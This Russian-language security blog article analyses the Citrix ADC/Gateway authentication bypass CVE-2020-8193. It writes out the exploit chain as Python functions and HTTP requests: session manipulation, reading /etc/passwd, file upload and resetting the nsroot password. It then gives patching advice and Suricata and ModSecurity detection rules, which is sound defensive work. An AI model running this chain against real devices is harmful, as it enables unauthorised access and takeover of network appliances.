Уязвимость контроллера доставки приложений Citrix ADC
Уязвимость контроллера доставки приложений Citrix ADC
Категория: Программы Теги: Уязвимости Опубликовано: 18 июня 2025

Уязвимость BDU:2023-00728 (CVE-2020-8193) Citrix ADC

Уязвимость BDU:2023-00728 (CVE-2020-8193) неправильного контроля доступа в Citrix ADC/Gateway/SD-WAN WANOP, позволяющая неаутентифицированному удалённому злоумышленнику получать доступ к защищённым URL-эндпоинтам. Это приводит к нарушению конфиденциальности и целостности данных.

Анализ уязвимости

Уровень опасности: 6.5 (Средний)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

  • AV:N (Вектор атаки: Сетевой) - Эксплуатация возможна через сеть без физического доступа

  • AC:L (Сложность атаки: Низкая) - Не требует специальных условий эксплуатации

  • PR:N (Уровень привилегий: Не требуется) - Аутентификация не требуется

  • UI:N (Вовлечение пользователя: Не требуется) - Взаимодействие с пользователем не требуется

  • S:U (Область воздействия: Неизмененная) - Уязвимость не затрагивает другие компоненты

  • C:L (Влияние на конфиденциальность: Низкое) - Частичное раскрытие информации

  • I:L (Влияние на целостность: Низкое) - Частичное изменение данных

  • A:N (Влияние на доступность: Отсутствует) - Не влияет на доступность системы

Условия эксплуатации

  1. Сетевой доступ к уязвимому устройству (порт 80/443).

  2. Использование уязвимых версий.

  3. Не требуется: аутентификация, специальные привилегии или взаимодействие с пользователем.

Уязвимые версии

  • Citrix ADC от 13.0 до 13.0-58.30
  • Citrix ADC от 12.1 до 12.1-57.18
  • Citrix ADC от 12.0 до 12.0-63.21
  • Citrix ADC от 11.1 до 11.1-64.14
  • Citrix ADC от 10.5 до 10.5-70.18
  • Citrix Gateway от 13.0 до 13.0-58.30
  • Citrix Gateway от 12.1 до 12.1-57.18
  • Citrix Gateway от 12.0 до 12.0-63.21
  • Citrix Gateway от 11.1 до 11.1-64.14
  • Citrix Gateway от 10.5 до 10.5-70.18
  • Citrix SD-WAN WANOP от 11.1 до 11.1.1a
  • Citrix SD-WAN WANOP от 11.0 до 11.0.3d
  • Citrix SD-WAN WANOP от 10.2 до 10.2.7

Технический механизм уязвимости

Уязвимость возникает из-за ошибки в процедуре аутентификации при обработке запросов к API. Система неправильно проверяет авторизацию для эндпоинтов:

  • /pcidss/report

  • /menu/ss

  • /menu/stc

  • /rapi/filedownload

  • /rapi/uploadtext

Злоумышленник может обойти проверки подлинности, манипулируя заголовками X-NITRO-USERX-NITRO-PASS и параметрами сессии.

Анализ эксплоитов

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2020-8193.

1. Чтение произвольных файлов (LFI)

Ключевые этапы атаки:

# Создание "ломанной" сессии
def create_session(base_url, session):
    headers = {'X-NITRO-USER': random_string(), 
               'X-NITRO-PASS': random_string()}
    data = '<appfwprofile><login></login></appfwprofile>'
    session.post(f"{base_url}/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1",
                 headers=headers, data=data, verify=False)

Вредоносный запрос:

POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
X-NITRO-USER: Cu59z69j
X-NITRO-PASS: vgR7HPQ0
Content-Type: application/xml

<appfwprofile><login></login></appfwprofile>

Изменение сессии:

def fix_session(base_url, session):
    session.get(f"{base_url}/menu/ss?sid=nsroot&username=nsroot&force_setup=1")

Получение ключа rand:

def get_rand(base_url, session):
    r = session.get(f"{base_url}/menu/stc")
    # Извлечение rand из JavaScript в ответе
    for line in r.text.split('\n'):
        if 'var rand =' in line:
            return line.split('"')[1]

Чтение файлов:

def do_lfi(base_url, session, rand):
    headers = {'rand_key': rand, 'X-NITRO-USER': random_string()}
    session.post(f"{base_url}/rapi/filedownload?filter=path:{quote('/etc/passwd')}",
                headers=headers, data='<clipermission></clipermission>', verify=False)

Пример успешного ответа:

HTTP/1.1 406 Not Acceptable
Content-Disposition: attachment;filename="passwd"
Accept-Ranges: bytes

root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh

2. Remote Code Execution (RCE)

Дополнительные этапы:

Чтение сессионных файлов:

POST /rapi/filedownload?filter=path:%2Fvar%2Fnstmp HTTP/1.1
rand_key: 181103693.1594540472072128
X-NITRO-USER: N6RRf049

<clipermission></clipermission>

Загрузка файлов (Getshell):

POST /rapi/uploadtext HTTP/1.1
rand_key: 845810655.1594556994263502
Cookie: SESSID=6c5c31300c22b200f0273e7a13be47cb

object={"uploadtext":{"filedir":"/tmp/","filedata":"123456","filename":"test.txt"}}

Изменение пароля администратора:

PUT /nitro/v1/config/systemuser HTTP/1.1
rand_key: 845810655.1594556994263502

{"systemuser":{"username":"nsroot","password":"boiboi"}}

Последствия успешной эксплуатации

  1. Раскрытие конфиденциальной информации:

    • Чтение /etc/passwd, shadow, конфигурационных файлов

    • Доступ к сессионным данным (session files)

    • Получение системной информации

  2. Полная компрометация системы:

    • Изменение паролей администраторов

    • Создание новых пользователей с правами root

    • Загрузка и выполнение произвольных файлов

    • Получение доступа к оболочке (shell) через SSH

  3. Персистентный доступ:

    • Установка бэкдоров

    • Кража SSL-сертификатов

    • Доступ к внутренней сети

Методы защиты

1. Обновление ПО

Установить исправленные версии:

  • Citrix ADC: 13.0-58.30+, 12.1-57.18+, 11.1-64.14+

  • Citrix Gateway: 13.0-58.30+, 12.1-57.18+

  • SD-WAN WANOP: 11.1.1a+, 11.0.3d+

2. Конфигурационные меры

  • Отключить неиспользуемые API-эндпоинты

  • Ограничить доступ к панели управления по IP:

    add ns acl block_unauthorized ALLOW -srcIP = 192.168.1.0/24 -destPort 443
  • Включить многофакторную аутентификацию

3. Правила для WAF/IPS

Для Suricata (IPS):

alert http $EXTERNAL_NET any -> $HOME_NET any \
(msg:"CITRIX CVE-2020-8193 - LFI Attempt"; \
flow:to_server,established; \
content:"/rapi/filedownload"; \
content:"filter=path"; nocase; \
pcre:"/\/etc\/passwd|\/var\/nstmp/i"; \
classtype:attempted-user; sid:2020008193; rev:1;)

alert http $EXTERNAL_NET any -> $HOME_NET any \
(msg:"CITRIX CVE-2020-8193 - Session Manipulation"; \
flow:to_server,established; \
content:"/pcidss/report"; \
content:"sid=loginchallengeresponse1requestbody"; \
content:"username=nsroot"; \
classtype:web-application-attack; sid:2020008194; rev:1;)

Для ModSecurity (WAF):

SecRule REQUEST_URI "@contains /rapi/filedownload" \
"id:1001,phase:2,deny,msg:'Citrix ADC Path Traversal Attempt',\
chain"
SecRule ARGS:filter "@rx path:.*?(etc|passwd|shadow|nsconfig)"

4. Мониторинг и аудит

  • Регулярный анализ логов доступа к URL:

    /rapi/filedownload
    /pcidss/report
    /menu/stc
  • Алерты на множественные 406 ошибки

  • Контроль изменений системных пользователей

Заключение

BDU:2023-00728 (CVE-2020-8193) представляет критическую угрозу для инфраструктур Citrix, позволяя неаутентифицированным злоумышленникам получать полный контроль над системами. Эксплуатация осуществляется через цепочку из 4-5 HTTP-запросов, обходящих механизмы аутентификации. Наибольшая опасность заключается в возможности чтения произвольных файлов и выполнения команд через комбинацию LFI и API-манипуляций. Защита требует комплексного подхода: немедленное обновление ПО, настройка ACL, внедрение правил WAF/IPS и постоянный мониторинг подозрительной активности.

Алексей Черемных Алексей Черемных
71